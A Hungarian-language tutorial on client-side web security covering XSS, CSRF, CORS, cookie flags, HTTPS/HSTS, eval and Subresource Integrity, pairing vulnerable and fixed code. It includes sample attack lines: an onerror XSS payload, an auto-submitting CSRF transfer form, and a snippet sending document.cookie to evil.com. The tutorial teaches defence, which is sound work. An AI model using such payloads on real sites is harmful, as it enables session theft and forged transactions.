XSS, CSRF, CORS, cookie-biztonság, HTTPS és biztonságos kódolási gyakorlatok – a kliens oldali fejlesztés biztonsági alapjai.
A Cross-Site Scripting (XSS) az egyik legelterjedtebb és legveszélyesebb webes sebezhetőség. A lényege: a támadó rosszindulatú JavaScript kódot juttat be egy weboldalba, amelyet a gyanútlan felhasználó böngészője megbízható kódként futtat le. Azért különösen veszélyes, mert a böngésző nem tudja megkülönböztetni a fejlesztő által írt „legális" JavaScript-et a támadó által beszúrt kódtól.
Ha a támadó kódja lefut a böngészőben, a következőkre képes:
Az XSS támadásokat három fő típusba soroljuk, aszerint, hogy a rosszindulatú kód hol „él" és hogyan jut el az áldozathoz:
| Típus | Hol tárolódik a kód? | Kit érint? | Szerver érintett? |
|---|---|---|---|
| Reflected (tükrözött) | URL paraméterben – NEM tárolódik | Aki a rosszindulatú linkre kattint | Igen – a szerver visszatükrözi a kódot |
| Stored (tárolt) | Adatbázisban – TARTÓSAN! | MINDENKIT, aki megtekinti az oldalt | Igen – a szerver tárolja és kiszolgálja |
| DOM-based | Csak a kliens kódban | Aki a speciális linkre kattint | NEM – kizárólag kliens oldali hiba |
Reflected XSS: A támadó egy linket küld az áldozatnak (pl. e-mailben), amelynek URL-jébe JavaScript kódot rejt. A szerver visszatükrözi a paraméter értékét a válaszban, a böngésző pedig lefuttatja. Például: https://example.com/search?q=<script>...</script>
Stored XSS: A támadó kódot ment a szerver adatbázisába – például egy kommentben, fórum bejegyzésben, felhasználónévben. Amikor más felhasználók megtekintik az oldalt, a böngésző lefuttatja a tárolt kódot. Ez a legveszélyesebb típus, mert egy aktív fórumon minden látogató érintett.
DOM-based XSS: A szerver nem érintett – a hiba kizárólag a kliens oldali JavaScript kódban van. A kód közvetlenül a DOM-ból (pl. URL hash, query string) olvas be adatot, és azt szűrés nélkül beszúrja az oldalba.
Tegyük fel, hogy az oldalunk az URL hash-ből olvassa ki a felhasználó nevét, és megjeleníti üdvözlésként:
✘ Sebezhető var name = decodeURIComponent(location.hash.slice(1)); document.getElementById("greeting").innerHTML = "Üdv, " + name + "!";
Normál használat (https://example.com/greet#Péter) esetén az „Üdv, Péter!" jelenik meg. De a támadó ezt a linket küldi: ...greet#<img src=x onerror="alert(document.cookie)">. Az innerHTML értelmezi a HTML-t: létrehoz egy <img> elemet, a kép nem töltődik be, az onerror lefut – és a támadó kódja hozzáfér a cookie-khoz.
✔ Biztonságos var name = decodeURIComponent(location.hash.slice(1)); document.getElementById("greeting").textContent = "Üdv, " + name + "!";
A textContent NEM értelmez HTML-t – a támadó kódja nyers szövegként jelenik meg az oldalon, nem fut le.
A legfontosabb szabály: felhasználói adat SOHA ne kerüljön innerHTML-be. A textContent biztonságos, mert nem értelmez HTML-t – minden speciális karaktert szövegként jelenít meg:
| Metódus | HTML értelmezés? | XSS kockázat | Mikor használjuk? |
|---|---|---|---|
textContent | NEM | NINCS | Felhasználói szöveg – szinte MINDIG |
innerHTML | IGEN – a teljes HTML-t feldolgozza | KRITIKUS | Csak megbízható, fix, fejlesztő által írt HTML |
createElement + append | NEM – strukturált építés | NINCS | Dinamikus HTML építés programozottan |
Vannak esetek, amikor szükségünk van HTML beszúrásra – például egy rich text editor (WYSIWYG) kimenetét kell megjelenítenünk, vagy Markdown-ból generált HTML-t. Ilyenkor a DOMPurify könyvtárral „tisztítjuk" a HTML-t: eltávolítja a veszélyes elemeket (script, onerror stb.), de meghagyja a formázást (b, i, p, a stb.):
// CDN: <script src="https://cdnjs.cloudflare.com/.../purify.min.js"> var dirty = '<b>Hello</b><img src=x onerror="alert(1)"><script>steal()</script>'; var clean = DOMPurify.sanitize(dirty); console.log(clean); // Eredmény: "<b>Hello</b><img src="x">" // A <script> tag ELTÁVOLÍTVA! // Az onerror attribútum ELTÁVOLÍTVA! // A <b> és <img> megmaradtak (biztonságos elemek). document.querySelector("#content").innerHTML = clean;
A CSP egy HTTP fejléc, amellyel a szerver szabályozza, milyen forrásból tölthet be a böngésző erőforrásokat (scriptek, stílusok, képek). Ez az utolsó védelmi vonal: még ha az XSS valahogyan átjut az input szűrésen, a CSP megakadályozhatja a kód futtatását.
A legfontosabb CSP direktívák:
| Direktíva | Mit szabályoz? | Példa érték |
|---|---|---|
default-src | Alapértelmezés minden típusra | 'self' (csak saját origin) |
script-src | JavaScript forrásfájlok | 'self' https://cdn.example.com |
style-src | CSS forrásfájlok | 'self' 'unsafe-inline' |
img-src | Képek | 'self' data: https: |
connect-src | Fetch/XHR/WebSocket célok | 'self' https://api.example.com |
Példa fejléc: Content-Security-Policy: default-src 'self'; script-src 'self'
<script src="/app.js"> — ENGEDÉLYEZVE (saját origin)<script>alert(1)</script> — BLOKKOLVA (inline script!)eval("alert(1)") — BLOKKOLVA (eval tiltva!)<script src="https://evil.com/..."> — BLOKKOLVA (más origin)
textContent.DOMPurify.sanitize() + innerHTML.eval(), document.write(), vagy innerHTML felhasználói adattal DOMPurify nélkül!A CSRF (Cross-Site Request Forgery, „kérés-hamisítás") egy támadási típus, amelyben a támadó ráveszi az áldozat böngészőjét, hogy hitelesített kérést küldjön egy másik weboldalra – az áldozat tudta és beleegyezése nélkül. A támadás kihasználja, hogy a böngésző automatikusan elküldi a cookie-kat minden kéréshez, amely az adott domain-re irányul.
Fontos megérteni az XSS és a CSRF közötti különbséget:
| XSS (3.1) | CSRF (3.2) | |
|---|---|---|
| Mit csinál? | Kódot FUTTAT az áldozat böngészőjében | KÉRÉST KÜLD az áldozat nevében |
| Hol fut a támadó kódja? | A cél oldalon (same-origin) | A támadó saját oldalán (cross-origin) |
| Mire van szüksége? | Sebezhető input (innerHTML) | Az áldozat bejelentkezett állapota |
| Hozzáfér a válaszhoz? | IGEN – teljes hozzáférés | NEM – csak a kérést tudja elküldeni |
Nézzük végig, hogyan működik egy CSRF támadás egy banki alkalmazás ellen:
sessionId=abc123A támadó oldala nagyon egyszerű – elég egy rejtett űrlap és egy sor JavaScript:
✘ tamado.hu <form action="https://bank.hu/transfer" method="POST" id="evil"> <input type="hidden" name="to" value="tamado-szamla-123"> <input type="hidden" name="amount" value="1000000"> </form> <script>document.getElementById("evil").submit();</script>
Az áldozat nem is látja az űrlapot – automatikusan elküldődik, amint az oldal betöltődik.
A SameSite cookie attribútum szabályozza, hogy a böngésző elküldi-e a cookie-t cross-site kéréseknél. Ez a legegyszerűbb és leghatékonyabb CSRF-védelem:
| SameSite érték | Cross-site POST? | Cross-site link (GET)? | CSRF védelem |
|---|---|---|---|
Strict | NEM küldi a cookie-t | NEM küldi | TELJES – de a felhasználó „kijelentkezik" ha linkről érkezik |
Lax (alapért.) | NEM küldi a cookie-t | Elküldi | JÓ – a legtöbb alkalmazásnak elég |
None | Elküldi | Elküldi | NINCS – kerüljük! (Secure flag kötelező hozzá) |
Lax a legjobb kompromisszum: a CSRF támadások POST kéréseket használnak (utalás, törlés stb.), és ezeknél a Lax már NEM küldi a cookie-t. Viszont ha a felhasználó egy linkről érkezik (GET), a cookie elkülődik, tehát nem kell újra bejelentkeznie. A Strict biztonságosabb, de kényelmetlenebb.
A CSRF token egy egyedi, kiszámíthatatlan érték, amelyet a szerver generál minden munkamenethez. A kliens minden állapotmódosító kérésnél (POST, PUT, DELETE) elküldi – a szerver ellenőrzi, hogy a token érvényes-e. A támadó nem tudja kitalálni vagy kiolvasni a tokent (a Same-Origin Policy meggátolja).
// A szerver a tokent egy meta tag-ben vagy egy cookie-ban adja át // HTML: <meta name="csrf-token" content="a1b2c3d4e5f6..."> var csrfToken = document.querySelector('meta[name="csrf-token"]').content; // Minden POST/PUT/DELETE kérésnél elküldjük fejlécként await fetch("/api/transfer", { method: "POST", headers: { "Content-Type": "application/json", "X-CSRF-Token": csrfToken, // Egyedi fejléc! }, body: JSON.stringify({ to: "szamla-123", amount: 50000 }), }); // A szerver ellenőrzi: a fejlécben kapott token egyezik-e // a munkamenethez tartozó tokennel. // A támadó NEM tudja elolvasni a tokent (más origin!), // tehát NEM tudja beállítani a fejlécet.
A böngésző minden kéréshez automatikusan beállítja az Origin (vagy Referer) fejlécet, amely jelzi, melyik oldalról indult a kérés. A szerver ellenőrizheti, hogy a kérés a saját origin-jéről érkezett-e. A támadó nem tudja felülírni ezeket a fejléceket JavaScript-ből – a böngésző védi őket.
Mielőtt a CORS-t megértenénk, ismernünk kell a Same-Origin Policy-t (SOP), a böngészők alapvető biztonsági szabályát. A SOP kimondja: egy origin-ről betöltött JavaScript nem olvashatja egy másik origin válaszát.
Az origin három részből áll: protokoll + domain + port. Ha ezek közül bármelyik különbözik, az két különböző origin:
| URL A | URL B | Same origin? | Miért? |
|---|---|---|---|
https://app.hu | https://app.hu/api | IGEN | Ugyanaz a protokoll, domain, port |
https://app.hu | http://app.hu | NEM | Más protokoll (https vs http) |
https://app.hu | https://api.app.hu | NEM | Más domain (subdomain is más!) |
https://app.hu | https://app.hu:8080 | NEM | Más port (443 vs 8080) |
http://localhost:3000 | http://localhost:5000 | NEM | Más port – gyakori fejlesztésnél! |
A CORS (Cross-Origin Resource Sharing) a SOP szabályozott feloldása. A szerver HTTP fejlécekkel jelzi a böngészőnek, hogy mely origin-ekről engedélyezi a hozzáférést. Ha a szerver nem küld CORS fejléceket, a böngésző blokkolja a válasz olvasását.
Fontos: a CORS a szerver konfigurálásáról szól, nem a kliensről. A kliens oldalon nem tudunk „kikapcsolni" CORS-t – a szerver dönt.
A böngésző kétféleképpen kezeli a cross-origin kéréseket, attól függően, hogy a kérés „egyszerű" vagy „komplex":
Egyszerű kérés (nincs preflight): GET, HEAD vagy POST, ha nincs egyedi fejléc és a Content-Type egyszerű (pl. text/plain, application/x-www-form-urlencoded, multipart/form-data). Ilyenkor a böngésző közvetlenül elküldi a kérést.
Komplex kérés (preflight szükséges): ha a kérés egyedi fejlécet tartalmaz (pl. Authorization, Content-Type: application/json), vagy a metódus PUT/DELETE/PATCH. Ilyenkor a böngésző előbb egy OPTIONS kérést küld, hogy „megkérdezze" a szervert: engedélyezi-e a valódi kérést?
await fetch("https://api.example.com/users", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ name: "János" }), });
Mivel a Content-Type: application/json nem „egyszerű", a böngésző preflight-ot küld. A folyamat:
1. Preflight kérés (automatikus):
OPTIONS /users HTTP/1.1 Origin: https://app.example.com Access-Control-Request-Method: POST Access-Control-Request-Headers: Content-Type
2. Szerver válasza (ha engedélyezi):
HTTP/1.1 204 No Content Access-Control-Allow-Origin: https://app.example.com Access-Control-Allow-Methods: GET, POST, PUT, DELETE Access-Control-Allow-Headers: Content-Type, Authorization Access-Control-Max-Age: 86400
3. Ha a preflight sikeres, a valódi POST is elmegy. Ha sikertelen, a böngésző NEM küldi el.
| Fejléc (szerver küldi) | Leírás | Példa |
|---|---|---|
Access-Control-Allow-Origin | Melyik origin-ek olvashatják a választ | https://app.hu vagy * |
Access-Control-Allow-Methods | Engedélyezett HTTP metódusok | GET, POST, PUT, DELETE |
Access-Control-Allow-Headers | Engedélyezett egyedi fejlécek | Content-Type, Authorization |
Access-Control-Allow-Credentials | Cookie küldés engedélyezett? | true (nem használható *-gal!) |
Access-Control-Max-Age | Preflight cache ideje (mp) | 86400 (1 nap) |
A CORS fejléceket a szerveren kell beállítani. Egy Express.js példa:
var cors = require("cors"); // PRODUKCIÓBAN: konkrét origin! app.use(cors({ origin: "https://app.example.com", // Nem "*"! methods: ["GET", "POST", "PUT", "DELETE"], allowedHeaders: ["Content-Type", "Authorization"], credentials: true, // Cookie-k engedélyezése }));
Access-Control-Allow-Origin: * (csillag) MINDEN origin-nek megengedi a hozzáférést. Ez fejlesztésnél kényelmes, de produkcióban biztonsági kockázat – különösen, ha a szerver hitelesített végpontokat is kiszolgál. Ráadásul a credentials: true nem is működik *-gal.
| Hibaüzenet | Ok | Megoldás |
|---|---|---|
| "No 'Access-Control-Allow-Origin' header" | A szerver nem küld CORS fejlécet | CORS middleware bekapcsolása a szerveren |
| "Method not allowed" | A metódus nincs az Allow-Methods-ben | methods lista bővítése (pl. PUT, DELETE) |
| "Request header not allowed" | Egyedi fejléc tiltva | allowedHeaders lista bővítése |
| Cookie nem küldődik cross-origin | credentials: true + * origin | Konkrét origin + Allow-Credentials: true |
| localhost CORS hiba | Eltérő port = cross-origin! | Backend CORS config vagy frontend proxy (Vite, webpack) |
A cookie-k kis szöveges adatok, amelyeket a szerver küld a böngészőnek (Set-Cookie fejléc), és a böngésző minden további kérésnél automatikusan visszaküldi őket a szervernek (Cookie fejléc). A legfontosabb felhasználásuk: munkamenet-kezelés (session) – a szerver egy egyedi azonosítót (session ID) tárol a cookie-ban, és ezzel tartja nyilván, melyik felhasználó van bejelentkezve.
A cookie-k biztonságát attribútumokkal szabályozzuk. Ezeket a szerver állítja be a Set-Cookie fejlécben:
| Attribútum | Hatás | Milyen támadás ellen véd? |
|---|---|---|
HttpOnly | A JavaScript NEM fér hozzá (document.cookie nem látja) | XSS – a támadó kódja nem tudja ellopni |
Secure | Csak HTTPS-en küldődik (HTTP-n NEM) | MitM – hálózati lehallgatás ellen |
SameSite | Cross-site kérésnél küldődik-e (Strict / Lax / None) | CSRF – a támadó oldala nem kapja meg |
Domain | Melyik domain-ekre érvényes a cookie | Korlátozza a cookie hatókörét |
Path | Melyik URL útvonalra érvényes | További hatókör-korlátozás |
Max-Age | Lejárat másodpercben (0 = azonnali törlés) | Session lejárat kikényszerítése |
A HttpOnly flag megakadályozza, hogy a JavaScript hozzáférjen a cookie-hoz. Ez kritikus fontosságú a session cookie-knál, mert egy XSS támadás legnagyobb veszélye éppen a session cookie ellopása:
✘ Sebezhető // Set-Cookie: sessionId=abc123; Path=/ (NINCS HttpOnly!) var stolen = document.cookie; // "sessionId=abc123" fetch("https://evil.com/steal?c=" + encodeURIComponent(stolen));
HttpOnly nélkül a document.cookie visszaadja a session cookie-t – a támadó XSS kóddal ellophatja, és a saját böngészőjébe beillesztve átveheti a munkamenetet.
✔ Biztonságos // Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Lax console.log(document.cookie); // "" (üres!)
A HttpOnly flag-gel a JavaScript egyáltalán nem látja a cookie-t. A böngésző viszont továbbra is elküldi a HTTP kérések fejlécében – a szerver oldali autentikáció zavartalanul működik.
Egy biztonsági szempontból optimális session cookie minden fontos attribútumot tartalmaz:
Példa fejléc:
Set-Cookie: sessionId=a1b2c3d4; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=1800
| Attribútum | Támadás ellen véd | Hogyan? |
|---|---|---|
HttpOnly | XSS | JavaScript nem olvashatja a cookie-t |
Secure | MitM (lehallgatás) | Csak HTTPS-en küldődik |
SameSite=Lax | CSRF | Cross-site POST-nál nem küldődik |
Path=/ | – | Az egész oldalra érvényes |
Max-Age=1800 | Session lejárat | 30 perc inaktivitás után automatikusan törlődik |
A session hijacking azt jelenti, hogy a támadó megszerzi a felhasználó session azonosítóját, és átveszi a munkamenetet. Több támadási vektor létezik, és mindegyikre más védekezés szükséges:
| Támadási vektor | Hogyan működik? | Védekezés |
|---|---|---|
| XSS (document.cookie) | Rosszindulatú JS kiolvassa a cookie-t | HttpOnly flag |
| Hálózat lehallgatás (MitM) | HTTP forgalom titkosítatlan | Secure flag + HTTPS |
| CSRF (auto cookie) | Cookie automatikusan megy cross-site | SameSite + CSRF token |
| Session fixation | Támadó beállít egy session ID-t | Bejelentkezéskor ÚJ session ID generálás! |
| Fizikai hozzáférés | Nyitva hagyott gép | Session lejárat + kijelentkezés gomb |
Egy gyakori kérdés: a JWT tokent localStorage-ban vagy HttpOnly cookie-ban tároljuk? A válasz egyértelmű:
| Szempont | HttpOnly Cookie | localStorage |
|---|---|---|
| XSS-sel ellopható? | NEM (HttpOnly védi) | IGEN – bármilyen JS hozzáfér |
| CSRF veszély? | IGEN (auto-küldés) | NEM (manuálisan kell fejlécbe tenni) |
| Méretkorlát | ~4 KB | ~5 MB |
| Szerver olvassa? | IGEN (auto fejléc) | NEM (JS kell hozzá) |
| Ajánlás | Session ID, JWT token | UI beállítások (téma, nyelv) |
A HTTPS (HTTP Secure) a HTTP protokoll TLS/SSL titkosítással ellátott változata. A titkosítás három dolgot biztosít:
| Szempont | HTTP | HTTPS |
|---|---|---|
| Titkosítás | NINCS – nyílt szöveg | TLS titkosítás (AES-256) |
| Cookie lopás (MitM) | Lehetséges nyílt Wi-Fi-n | Védett (Secure flag-gel teljesen) |
| Tartalom módosítás | Lehetséges (pl. ISP reklám) | Védett – TLS integritás ellenőrzés |
| Geolocation, Clipboard, Notification API | TILTVA | Működik |
| Service Worker | TILTVA (kivéve localhost) | Működik |
| SEO rangsorolás | Hátrány | Előny (Google, 2014 óta) |
| Böngésző jelzés | „Nem biztonságos" figyelmeztetés | Lakat ikon |
Ha egy HTTPS-en kiszolgált oldal HTTP-ről tölt be erőforrásokat, az mixed content. A probléma: a HTTP-n betöltött erőforrás titkosítatlan, tehát módosítható – ezzel az egész HTTPS védelem megtörhető.
A böngészők kétféle mixed content-et különböztetnek meg:
| Típus | Erőforrások | Böngésző reakció |
|---|---|---|
| Active (aktív) | Script, iframe, CSS, fetch/XHR | BLOKKOLVA – nem töltődik be! |
| Passive (passzív) | Kép, hang, videó | Figyelmeztetés – betöltődik, de jelzi |
✘ Mixed content <!-- HTTPS oldalon HTTP erőforrás => probléma! --> <script src="http://cdn.example.com/lib.js"></script> <!-- BLOKKOLVA --> <img src="http://images.example.com/photo.jpg"> <!-- Figyelmeztetés --> <link href="http://cdn.example.com/style.css"> <!-- BLOKKOLVA -->
✔ Helyes <script src="https://cdn.example.com/lib.js"></script> <img src="https://images.example.com/photo.jpg"> <link href="https://cdn.example.com/style.css">
A HSTS egy HTTP válaszfejléc, amely utasítja a böngészőt, hogy az adott domainhez mindig HTTPS-t használjon – még akkor is, ha a felhasználó http://-t ír be a címsorba. A böngésző automatikusan átirányítja HTTPS-re.
Ez véd az úgynevezett „SSL stripping" támadás ellen: a támadó megpróbálja HTTP-re kényszeríteni a kapcsolatot (pl. nyílt Wi-Fi-n). Ha a böngésző emlékszik a HSTS-re, ez nem lehetséges.
Példa fejléc:
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
| Direktíva | Jelentés |
|---|---|
max-age=31536000 | 1 évig emlékezzen rá a böngésző |
includeSubDomains | Aldomainekre is vonatkozik (api.example.com stb.) |
preload | Bekerülhet a böngészők beépített HSTS listájába (nem kell várni az első látogatásra) |
Az eval() függvény egy szöveges stringet JavaScript kódként értelmez és futtat. Ha ebbe felhasználói adat kerül, az gyakorlatilag XSS sebezhetőséget jelent, mert a felhasználó tetszőleges kódot futtathat. Ugyanez vonatkozik a new Function()-ra és a setTimeout/setInterval string paraméterére:
✘ Soha ne használd! eval("alert('" + userInput + "')"); var fn = new Function("return " + userInput); fn(); setTimeout("doSomething('" + userInput + "')", 1000);
Mindhárom sor a felhasználói inputot kódként futtatja. Ha a userInput rosszindulatú JavaScript-et tartalmaz, a támadó bármit megtehet: cookie-kat lophat, átirányíthat, űrlapokat módosíthat.
✔ Helyette // Függvény referencia, NEM string! setTimeout(function() { doSomething(userInput); // A userInput ADAT, nem kód }, 1000); // JSON feldolgozás eval() helyett: var data = JSON.parse(responseText); // A JSON.parse() CSAK JSON-t fogad el – kódot nem futtat.
A kliens oldali validálás fontos a felhasználói élmény szempontjából – azonnali visszajelzést ad, nem kell várni a szerver válaszára. De a biztonság szempontjából értéktelen, mert a kliens oldali kód teljesen megkerülhető:
// Kliens oldali validálás – UX céllal (gyors visszajelzés) function validateEmail(email) { var pattern = /^[^\s@]+@[^\s@]+\.[^\s@]+$/; if (!pattern.test(email)) { showError("Kérjük, adjon meg érvényes e-mail címet."); return false; } return true; } // Kliens oldal: meghívja a validálást submit előtt form.addEventListener("submit", function(event) { event.preventDefault(); var email = document.querySelector("#email").value; if (validateEmail(email)) { fetch("/api/register", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ email: email }), }); } });
Minden külső script, amelyet betöltünk, teljes hozzáférést kap az oldalhoz: cookie-k, DOM, localStorage, hálózati kérések – minden, amit a saját kódunk is elérhet. Ha egy CDN-en tárolt könyvtárat valaki módosít (kompromittálja), az összes oldal, amely betölti, sebezhetővé válik.
Ez a supply chain attack: nem a mi kódunkat támadják, hanem egy függőségünket.
Az SRI lehetővé teszi, hogy a böngésző ellenőrizze: a CDN-ről letöltött fájl nem módosult az eredeti verzióhoz képest. A fájl hash-ét a HTML-ben adjuk meg – ha a letöltött fájl hash-e nem egyezik, a böngésző blokkolja a betöltést:
<script src="https://cdn.example.com/lib.min.js" integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K..." crossorigin="anonymous" ></script>
Ha valaki a CDN-en módosítja a fájlt, a hash nem fog egyezni – a böngésző blokkolja a betöltést, és az oldal biztonságos marad.
shasum parancssorral vagy az srihash.org weboldalon generálhatjuk. A legtöbb CDN (cdnjs, unpkg) automatikusan megadja az SRI hash-t a bemásolandó kódrészletben.
A kliens oldalon tárolt adatok mindig hozzáférhetők a felhasználónak (DevTools) és potenciálisan XSS támadónak is. Ezért gondosan meg kell terveznünk, mit hol tárolunk:
| Adat típus | Hol tároljuk? | Miért éppen ott? |
|---|---|---|
| Session ID / JWT | HttpOnly cookie | XSS-sel nem olvasható (HttpOnly), automatikusan küldődik |
| Téma, nyelv, kosár | localStorage | Nem érzékeny, tartós tárolás kell, JS-ből olvasandó |
| Wizard lépés, szűrő | sessionStorage | Nem érzékeny, csak a munkamenetig kell |
| Jelszó, PIN | SEHOL a kliensen! | Azonnal a szerverre küldeni, kliensen nem megőrizni |
| Titkos API kulcs | SZERVER oldalon | A kliens kódban bárki láthatja (DevTools, view-source) |
| Publikus API kulcs | Kliens kódban (OK) | Nem titkos, szerver oldalon rate-limit védi |